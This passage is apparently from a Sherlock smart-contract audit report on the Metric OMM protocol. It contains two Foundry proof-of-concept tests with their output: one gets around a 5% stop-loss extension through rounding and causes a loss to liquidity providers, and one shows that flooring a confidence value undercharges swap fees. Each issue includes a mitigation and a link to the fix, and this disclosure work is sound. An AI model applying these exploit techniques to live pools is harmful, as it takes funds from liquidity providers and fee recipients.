import {MetricOmmPoolFactory} from "@metric-core/MetricOmmPoolFactory.sol";
import {MetricOmmPoolDeployer} from "@metric-core/MetricOmmPoolDeployer.sol";
import {
  IMetricOmmPoolActions
} from "@metric-core/interfaces/IMetricOmmPool/IMetricOmmPoolActions.sol";
import {
  IMetricOmmModifyLiquidityCallback
} from "@metric-core/interfaces/callbacks/IMetricOmmModifyLiquidityCallback.sol";
import {
  IMetricOmmSwapCallback
```

```
} from "@metric-core/interfaces/callbacks/IMetricOmmSwapCallback.sol";
import {PoolParameters} from "@metric-core/types/FactoryOperation.sol";
import {ExtensionOrders} from "@metric-core/types/PoolExtensionsConfig.sol";
import {LiquidityDelta} from "@metric-core/types/PoolOperation.sol";
import {PoolStateLibrary} from "@metric-core/libraries/PoolStateLibrary.sol";
import {MockERC20} from "@metric-core-test/mocks/MockERC20.sol";
import {MockOracle} from "@metric-core-test/mocks/MockOracle.sol";
import {
  OracleValueStopLossExtension
} from "../../contracts/extensions/OracleValueStopLossExtension.sol";

contract StopLossActor is
  IMetricOmmModifyLiquidityCallback,
  IMetricOmmSwapCallback
{
  IERC20 private immutable TOKEN0;
  IERC20 private immutable TOKEN1;

  constructor(IERC20 token0, IERC20 token1) {
    TOKEN0 = token0;
    TOKEN1 = token1;
  }

  function addLiquidity(address pool, uint256 shares) external {
    int256[] memory bins = new int256[](1);
    uint256[] memory amounts = new uint256[](1);
    bins[0] = 0;
    amounts[0] = shares;
    IMetricOmmPoolActions(pool).addLiquidity(
      address(this),
      0,
      LiquidityDelta({binIdxs: bins, shares: amounts}),
      "",
      ""
    );
  }

  function swap(
    address pool,
    bool zeroForOne,
    int128 amountIn,
    uint128 priceLimitX64
  ) external {
    IMetricOmmPoolActions(pool).swap(
      address(this),
      zeroForOne,
      amountIn,
      priceLimitX64,
      "",
      ""
```

```
    );
  }

  function metricOmmModifyLiquidityCallback(
    uint256 amount0,
    uint256 amount1,
    bytes calldata
  ) external {
    if (amount0 != 0) require(TOKEN0.transfer(msg.sender, amount0));
    if (amount1 != 0) require(TOKEN1.transfer(msg.sender, amount1));
  }

  function metricOmmSwapCallback(
    int256 amount0,
    int256 amount1,
    bytes calldata
  ) external {
    if (amount0 > 0) require(TOKEN0.transfer(msg.sender, uint256(amount0)));
    if (amount1 > 0) require(TOKEN1.transfer(msg.sender, uint256(amount1)));
  }
}

contract OracleStopLossTokenDenominationPoC is Test {
  uint256 private constant Q64 = 1 << 64;
  uint256 private constant METRIC_SCALE = 1e6;
  uint32 private constant MAX_DRAWDOWN_E6 = 50_000;
  uint128 private constant INITIAL_MID_X64 = uint128(Q64 / 100_000);
  uint128 private constant REPRICED_MID_X64 =
    uint128((uint256(INITIAL_MID_X64) * 80) / 100);
  uint256 private constant SHARES = 2_005_000e18;
  uint256 private constant LP_CAPITAL = 2_005_000e6;
  uint256 private constant BTC_PRICE_AFTER_REPRICING = 125_000;

  MockERC20 private usdc;
  MockERC20 private wbtc;
  MockOracle private oracle;
  OracleValueStopLossExtension private stopLoss;
  address private pool;
  StopLossActor private lp;
  StopLossActor private swapper;

  function setUp() external {
    usdc = new MockERC20("USD Coin", "USDC", 6);
    for (uint256 i; i < 64; ++i) {
      MockERC20 candidate =
        new MockERC20("Wrapped Bitcoin", "WBTC", 8);
      if (address(candidate) > address(usdc)) {
        wbtc = candidate;
        break;
      }
```

```
    }
    require(address(wbtc) != address(0));

    oracle = new MockOracle();
    oracle.setTokens(address(usdc), address(wbtc));
    _setOracleMid(INITIAL_MID_X64);

    MetricOmmPoolFactory factory =
      new MetricOmmPoolFactory(address(this));
    MetricOmmPoolDeployer deployer =
      new MetricOmmPoolDeployer(address(factory));
    factory.setPoolDeployer(address(deployer));
    stopLoss = new OracleValueStopLossExtension(address(factory));
    pool = _createPool(factory);

    lp = new StopLossActor(IERC20(address(usdc)), IERC20(address(wbtc)));
    swapper =
      new StopLossActor(IERC20(address(usdc)), IERC20(address(wbtc)));
    usdc.mint(address(lp), LP_CAPITAL);
    usdc.mint(address(swapper), 10_000_000e6);
    wbtc.mint(address(swapper), 100e8);

    lp.addLiquidity(pool, SHARES);
    swapper.swap(pool, false, int128(100e8), INITIAL_MID_X64);
  }

  function testNormalUsdcWbtcPoolBypassesFivePercentStopLoss() external {
    (uint104 start0, uint104 start1,,,) =
      PoolStateLibrary._binState(pool, 0);
    (, uint256 hwm1) = stopLoss.currentHighWatermarks(pool, 0);
    uint256 preciseBaseline =
      _preciseMetric1(start0, start1, INITIAL_MID_X64);
    assertEq(hwm1, 8);

    _setOracleMid(REPRICED_MID_X64);
    uint256 valueBeforeCycle =
      _quoteValue(start0, start1, REPRICED_MID_X64);

    uint128 firstLegLimit =
      uint128((uint256(REPRICED_MID_X64) * 1_000_001) / 1e6);
    swapper.swap(pool, false, int128(100e8), firstLegLimit);

    (uint104 postLeg0, uint104 postLeg1,,,) =
      PoolStateLibrary._binState(pool, 0);
    uint256 metricAfterLeg =
      _metric1(postLeg0, postLeg1, REPRICED_MID_X64);
    uint256 preciseAfterLeg =
      _preciseMetric1(postLeg0, postLeg1, REPRICED_MID_X64);
    uint256 trueDrawdownE6 =
      (preciseBaseline - preciseAfterLeg) * 1e6 / preciseBaseline;
```

```
    uint256 roundedThreshold =
      hwm1 * (1e6 - MAX_DRAWDOWN_E6) / 1e6;

    assertEq(metricAfterLeg, 7);
    assertEq(roundedThreshold, 7);
    assertGt(trueDrawdownE6, MAX_DRAWDOWN_E6);
    assertLt(
      preciseAfterLeg * 1e6,
      preciseBaseline * (1e6 - MAX_DRAWDOWN_E6)
    );

    swapper.swap(pool, false, int128(100e8), type(uint128).max);
    swapper.swap(
      pool,
      true,
      int128(10_000_000e6),
      REPRICED_MID_X64
    );

    (uint104 final0, uint104 final1,,,) =
      PoolStateLibrary._binState(pool, 0);
    uint256 valueAfterCycle =
      _quoteValue(final0, final1, REPRICED_MID_X64);
    uint256 lossWbtcE18 = valueBeforeCycle - valueAfterCycle;
    uint256 lossUsdE18 =
      lossWbtcE18 * BTC_PRICE_AFTER_REPRICING;
    uint256 relativeLossE8 =
      lossWbtcE18 * 1e8 / valueBeforeCycle;

    emit log_named_uint("HWM token1", hwm1);
    emit log_named_uint("post-leg metric token1", metricAfterLeg);
    emit log_named_uint("rounded threshold token1", roundedThreshold);
    emit log_named_uint("true drawdown E6", trueDrawdownE6);
    emit log_named_uint("LP loss, USD E18", lossUsdE18);
    emit log_named_uint("LP loss, relative E8", relativeLossE8);

    assertGt(lossUsdE18, 10e18);
    assertGt(relativeLossE8, 10_000);
  }

  function _createPool(
    MetricOmmPoolFactory factory
  ) private returns (address createdPool) {
    address[] memory extensions = new address[](1);
    extensions[0] = address(stopLoss);
    bytes[] memory initData = new bytes[](1);
    initData[0] =
      abi.encode(MAX_DRAWDOWN_E6, uint32(0), uint32(0));

    createdPool = factory.createPool(
```

```
      PoolParameters({
        token0: address(usdc),
        token1: address(wbtc),
        priceProvider: address(oracle),
        extensions: extensions,
        extensionOrders: ExtensionOrders(0, 0, 0, 0, 0, 1),
        extensionInitData: initData,
        priceProviderTimelock: type(uint256).max,
        admin: address(this),
        initialAmount0PerShareE18: 1e6,
        initialAmount1PerShareE18: 1_000,
        minimalMintableLiquidity: 1_000,
        adminSpreadFeeE6: 0,
        adminNotionalFeeE8: 0,
        adminFeeDestination: address(this),
        curBinDistFromProvidedPriceE6: -10_000,
        nonNegativeBinDataArray: _oneBin(20_000),
        negativeBinDataArray: _oneBin(20_000),
        salt: keccak256("USDC_WBTC_STOP_LOSS")
      })
    );
  }

  function _setOracleMid(uint128 midX64) private {
    oracle.setBidAndAskPrice(midX64, midX64 + 1);
  }

  function _metric1(
    uint104 amount0,
    uint104 amount1,
    uint256 midX64
  ) private pure returns (uint256) {
    return
      Math.mulDiv(
        Math.mulDiv(uint256(amount0), midX64, Q64),
        METRIC_SCALE,
        SHARES
      ) + Math.mulDiv(uint256(amount1), METRIC_SCALE, SHARES);
  }

  function _preciseMetric1(
    uint104 amount0,
    uint104 amount1,
    uint256 midX64
  ) private pure returns (uint256) {
    return
      Math.mulDiv(
        _quoteValue(amount0, amount1, midX64),
        1e18,
        SHARES
```

```
      );
  }

  function _quoteValue(
    uint104 amount0,
    uint104 amount1,
    uint256 midX64
  ) private pure returns (uint256) {
    return
      Math.mulDiv(uint256(amount0), midX64, Q64) +
      uint256(amount1);
  }

  function _oneBin(
    uint16 lengthE6
  ) private pure returns (uint256[] memory bins) {
    bins = new uint256[](1);
    bins[0] = uint256(uint48(lengthE6));
  }
}
```

Run:

```
forge test --root metric-periphery \
  --match-path test/audit/OracleStopLossTokenDenominationPoC.t.sol -vv
```

Observed output:

```
HWM token1: 8
post-leg metric token1: 7
rounded threshold token1: 7
true drawdown E6: 100250
LP loss, USD E18: 567628403450655750000
LP loss, relative E8: 25235
```

Mitigation

Keep enough precision for token-denominated per-share values, then compare the live value and watermark by cross multiplication. A positive watermark must not produce a threshold that hides a configured drawdown.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Metric-OMM/metric-periphery/pull/49

Issue M-9: Premature E8 confidence flooring erases configured swap fees

Source: https://github.com/sherlock-audit/2026-07-metric-judging/issues/3894

Found by

0xnija, AlexScherbatyuk, AskSecurity, ChainSentinel-FO, GPT-wrapper, Jornason, lazymio, legat, n0fr33w1f14u, neeloy, pkqs90, psyone, ret2basic.eth, t0x1c, thimthor, vivekd

Summary

AnchoredPriceProvider::_shapedQuote rounds the confidence-derived half-spread down in the oracle's coarse E8 price domain before converting the quote to Q64.64. On a low-priced asset, a nonzero confidence component can therefore become zero. The later directional Q64.64 rounding cannot recover the discarded value, so the executable bid is too high, the ask is too low, and swaps pay less than the configured fee.

This is realistic within the project's supported production feeds. The repository maps Pyth feed ID 4 to PEPE/USDC, while Pyth's current metadata identifies feed ID 4 as `Crypto.PEPE/USD` with exponent `-10`. Pyth defines the represented price as `mantissa * 10exponent` and confidence as the uncertainty around that price in the same units (Pyth payload reference).

For a correct report with `price = 29,900`, `exponent = -10`, and `confidence = 62`, normalization produces the exact E8 midpoint `299` and a 21-bps spread. With allowed parameters `confidenceParam = 1,000,000`, `minMargin = 0.5 bp`, and `marginStep = 10 bp`, the production implementation charges a `21.5231622724 bp` base fee instead of `31.0481339999 bp`. This omits `30.6780810966%` of the configured base-fee yield, or approximately `952.497` quote tokens per one million quote tokens of fee-exclusive volume.

Root Cause

AnchoredPriceProvider::_shapedQuote first truncates `delta` to a whole E8 unit:

```
function _shapedQuote(uint256 mid, uint256 spreadBps)
    internal view returns (bool ok, uint256 sBid, uint256 sAsk)
{
@>  uint256 delta = mid * (spreadBps * confidenceParam) / CONFIDENCE_BASE;
    uint256 bid8 = delta >= mid ? 0 : mid - delta;
    uint256 ask8 = mid + delta;

    sBid = _bandEdge(bid8, stepBidFactor, Math.Rounding.Floor);
    sAsk = _bandEdge(ask8, stepAskFactor, Math.Rounding.Ceil);
```

For the values above, the exact delta is:

```
299 * 21 * 1,000,000 / 10,000,000,000 = 0.6279 E8
```

The implementation stores this as zero, making both `bid8` and `ask8` equal to `299`. AnchoredPriceProvider::_bandEdge then applies correct directional rounding, but only after the confidence information has been lost.

The minimum anchored-band clamp in AnchoredPriceProvider::_computeBidAsk does not fix the error. It preserves the mandatory `spread + minMargin` boundary, but it cannot restore configured confidence widening that should extend beyond that boundary.

Internal Pre-conditions

1. A pool uses a mutable `AnchoredPriceProvider` in reference-oracle mode.
2. `confidenceParam` is nonzero and `marginStep` is positive. The demonstrated `confidenceParam` is accepted by AnchoredPriceProvider::setConfidenceParam, and the demonstrated `marginStep` is within the AnchoredPriceProvider::constructor bounds.
3. The configured widths straddle the anchored clamp. In the PoC, the mandatory half-width is `21.5 bp`; the prematurely floored shaped quote is only `10 bp`, while the precision-preserving shaped quote is approximately `31 bp`.
4. The pool has ordinary liquidity and swap volume.

No malicious administrator, abnormal parameter, stale report, or incorrect oracle value is required.

External Pre-conditions

1. A correct, fresh oracle report normalizes to a low E8 midpoint and a nonzero spread for which the confidence delta is fractional in E8. LazerConsumer::_normalize maps the example report to `mid = 299` exactly and `spreadBps = 21`.
2. Users execute routine swaps through the affected pool. No attacker action is necessary.

Attack Path

1. The oracle supplies the correct normalized midpoint `299` and spread `21`.
2. `_shapedQuote()` computes the nonzero `0.6279 E8` confidence delta but truncates it to zero.
3. The provider consequently returns the mandatory anchored-band endpoints instead of the wider confidence-plus-margin endpoints.
4. MetricOmmPool::swap obtains those endpoints and passes them to SwapMath::midAndSpreadFeeX64FromBidAsk.

5. Every affected swap therefore uses a lower `baseFeeX64` than the configured quote requires.

Impact

The PoC measures the direct fee-rate consequence:

```
charged base fee:              21.523162272446495681 bps
precision-preserving base fee: 31.048133999936622113 bps
omitted share of fee yield:    30.6780810966274802%
omitted per 1m volume:         952.497172749012643161 quote tokens
```

This is realized revenue loss, not a view-only quote discrepancy. The understated base fee flows into the swap fee calculation; SwapMath::buyToken0InBinSpecifiedOut, for example, allocates that fee between the configured recipient and the liquidity retained for LPs. Both recipients therefore receive less on affected volume.

The competition README.md expressly requires rounding to favor the pool and recognizes adverse rounding with qualifying impact as valid. Here, the rounding instead raises the executable bid and lowers the executable ask, favoring traders in both directions. Medium severity is appropriate because the loss requires a specific but realistic conjunction of a low-E8 feed, mutable reference mode, and a band-straddling configuration, while the demonstrated fee-yield loss materially exceeds the competition threshold. This is also consistent with Sherlock's Medium criteria for fund loss under specific states or constraints.

PoC

Add the following test file to `smart-contracts-poc/test/AnchoredConfidenceFlooringPoC.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import {Test} from "forge-std/Test.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

import {AnchoredPriceProvider} from "../contracts/AnchoredPriceProvider.sol";
import {IOffchainOracle} from "../contracts/interfaces/IOffchainOracle.sol";
import {OracleBase} from "../contracts/oracles/providers/OracleBase.sol";
import {toTimeMs} from "../contracts/oracles/utils/TimeMs.sol";
import {MockPoolFactory} from "./mocks/MockPoolFactory.sol";

contract ConfidenceFlooringOracle is OracleBase {
    constructor(address owner, uint256 maxTimeDrift) OracleBase(owner,
    ↪  maxTimeDrift) {}
```

```
    function setData(bytes32 feedId, uint64 mid, uint16 spreadBps, uint256 refTime)
    ↪  external {
        oracleData[feedId] = IOffchainOracle.OracleData({
            price: mid, spread0: spreadBps, spread1: 0, timestampMs:
            ↪  toTimeMs(refTime * 1000)
        });
    }
}

contract AnchoredConfidenceFlooringPoCTest is Test {
    uint256 private constant Q64 = 1 << 64;
    uint256 private constant BPS_BASE = 1e18;
    uint256 private constant STEP_DENOM = 1e8 * BPS_BASE;
    uint256 private constant ONE_BPS_E18 = 1e14;
    uint256 private constant CONFIDENCE_BASE = 1e10;

    uint64 private constant MID_E8 = 299;
    uint16 private constant SPREAD_BPS = 21;
    uint256 private constant CONFIDENCE_PARAM = 1_000_000;
    uint256 private constant MIN_MARGIN = 5e13; // 0.5 bps per side
    uint256 private constant MARGIN_STEP = 1e15; // 10 bps per side
    uint256 private constant T0 = 1_000_000;

    bytes32 private constant FEED_ID = bytes32(uint256(4));
    address private constant BASE_TOKEN = address(0xBEEF);
    address private constant QUOTE_TOKEN = address(0xCAFE);

    ConfidenceFlooringOracle private oracle;
    AnchoredPriceProvider private provider;

    function inSwap() external view returns (address) {
        return address(provider);
    }

    function setUp() public {
        vm.warp(T0);
        vm.deal(address(this), 1 ether);

        oracle = new ConfidenceFlooringOracle(address(this), 60);
        MockPoolFactory poolFactory = new MockPoolFactory();
        poolFactory.setPool(address(this), true);
        oracle.addApprovedFactory(address(poolFactory));

        provider = new AnchoredPriceProvider(
            address(this),
            address(oracle),
            FEED_ID,
            bytes32(0),
            MIN_MARGIN,
            60,
```

```
            150,
            true,
            int256(MARGIN_STEP),
            BASE_TOKEN,
            QUOTE_TOKEN
        );

        oracle.register{value: 1}(FEED_ID, address(this), address(poolFactory));
        oracle.setData(FEED_ID, MID_E8, SPREAD_BPS, block.timestamp);
        provider.setConfidenceParam(CONFIDENCE_PARAM);
    }

    function test_PoC_nonzeroConfidenceIsDeletedAndBaseFeeIsUndercharged() public {
        uint256 confidenceNumerator = uint256(MID_E8) * SPREAD_BPS *
        ↪  CONFIDENCE_PARAM;

        assertEq(confidenceNumerator, 6_279_000_000);
        assertEq(confidenceNumerator / CONFIDENCE_BASE, 0, "0.6279 E8 is
        ↪  prematurely floored to zero");

        (uint128 actualBid, uint128 actualAsk) = provider.getBidAndAskPrice();
        (uint256 fullPrecisionBid, uint256 fullPrecisionAsk) =
        ↪  _fullPrecisionQuote(confidenceNumerator);

        assertEq(uint256(actualBid), 55_037_179_886_113);
        assertEq(uint256(actualAsk), 55_274_349_674_670);
        assertEq(fullPrecisionBid, 54_984_897_736_678);
        assertEq(fullPrecisionAsk, 55_326_863_478_317);
        assertLt(fullPrecisionBid, actualBid, "flooring raises the executable bid");
        assertGt(fullPrecisionAsk, actualAsk, "flooring lowers the executable ask");

        uint256 actualBaseFeeX64 = _poolBaseFee(actualBid, actualAsk);
        uint256 fullPrecisionBaseFeeX64 = _poolBaseFee(fullPrecisionBid,
        ↪  fullPrecisionAsk);
        uint256 missingBaseFeeX64 = fullPrecisionBaseFeeX64 - actualBaseFeeX64;
        uint256 omittedFeeShare = Math.mulDiv(missingBaseFeeX64, 1e18,
        ↪  fullPrecisionBaseFeeX64);
        uint256 omittedPerMillion = Math.mulDiv(1_000_000e18, missingBaseFeeX64,
        ↪  Q64);

        assertGt(omittedFeeShare, 30e16, "more than 30% of configured base-fee
        ↪  yield is omitted");
        assertGt(omittedPerMillion, 952e18, "more than 952 quote tokens omitted per
        ↪  one million");

        emit log_named_decimal_uint("live base fee (bps)",
        ↪  Math.mulDiv(actualBaseFeeX64, 10_000e18, Q64), 18);
        emit log_named_decimal_uint(
            "full-precision base fee (bps)", Math.mulDiv(fullPrecisionBaseFeeX64,
            ↪  10_000e18, Q64), 18
```

```
        );
        emit log_named_decimal_uint("omitted share of fee yield", omittedFeeShare,
        ↪  18);
        emit log_named_decimal_uint("fee omitted per 1m volume", omittedPerMillion,
        ↪  18);
    }

    function _fullPrecisionQuote(uint256 confidenceNumerator) private pure returns
    ↪  (uint256 bid, uint256 ask) {
        uint256 midNumerator = uint256(MID_E8) * CONFIDENCE_BASE;
        uint256 denominator = CONFIDENCE_BASE * STEP_DENOM;

        uint256 shapedBid = Math.mulDiv(
            midNumerator - confidenceNumerator, Q64 * (BPS_BASE - MARGIN_STEP),
            ↪  denominator, Math.Rounding.Floor
        );
        uint256 shapedAsk = Math.mulDiv(
            midNumerator + confidenceNumerator, Q64 * (BPS_BASE + MARGIN_STEP),
            ↪  denominator, Math.Rounding.Ceil
        );

        uint256 half = uint256(SPREAD_BPS) * ONE_BPS_E18 + MIN_MARGIN;
        uint256 refBid = Math.mulDiv(MID_E8, Q64 * (BPS_BASE - half), STEP_DENOM,
        ↪  Math.Rounding.Floor);
        uint256 refAsk = Math.mulDiv(MID_E8, Q64 * (BPS_BASE + half), STEP_DENOM,
        ↪  Math.Rounding.Ceil);

        return (Math.min(refBid, shapedBid), Math.max(refAsk, shapedAsk));
    }

    // Exact formula used by SwapMath.midAndSpreadFeeX64FromBidAsk().
    function _poolBaseFee(uint256 bid, uint256 ask) private pure returns (uint256) {
        uint256 mid = Math.sqrt(bid * ask);
        return Math.mulDiv(ask, Q64, mid, Math.Rounding.Ceil) - Q64;
    }
}
```

Run from `smart-contracts-poc/`:

```
forge test --mc AnchoredConfidenceFlooringPoCTest -vv
```

Result:

```
[PASS] test_PoC_nonzeroConfidenceIsDeletedAndBaseFeeIsUndercharged()
Logs:
  live base fee (bps): 21.523162272446495681
  full-precision base fee (bps): 31.048133999936622113
  omitted share of fee yield: 0.306780810966274802
  fee omitted per 1m volume: 952.497172749012643161
```

```
Suite result: ok. 1 passed; 0 failed
```

Mitigation

Do not round the confidence delta to a whole E8 unit. Carry `mid * spreadBps * confidenceParam` as a numerator through the step-factor multiplication and Q64.64 conversion, then independently round the final bid down and ask up before applying the anchored clamp. Preserve the existing overflow and `delta >= mid` guards, and add regression cases where the exact confidence delta lies strictly between zero and one E8 unit.

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/Oracle-Based-Pool/smart-contracts-poc/commit/e55b4666ca57a51476e155066lc2ae8957ae3e40

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.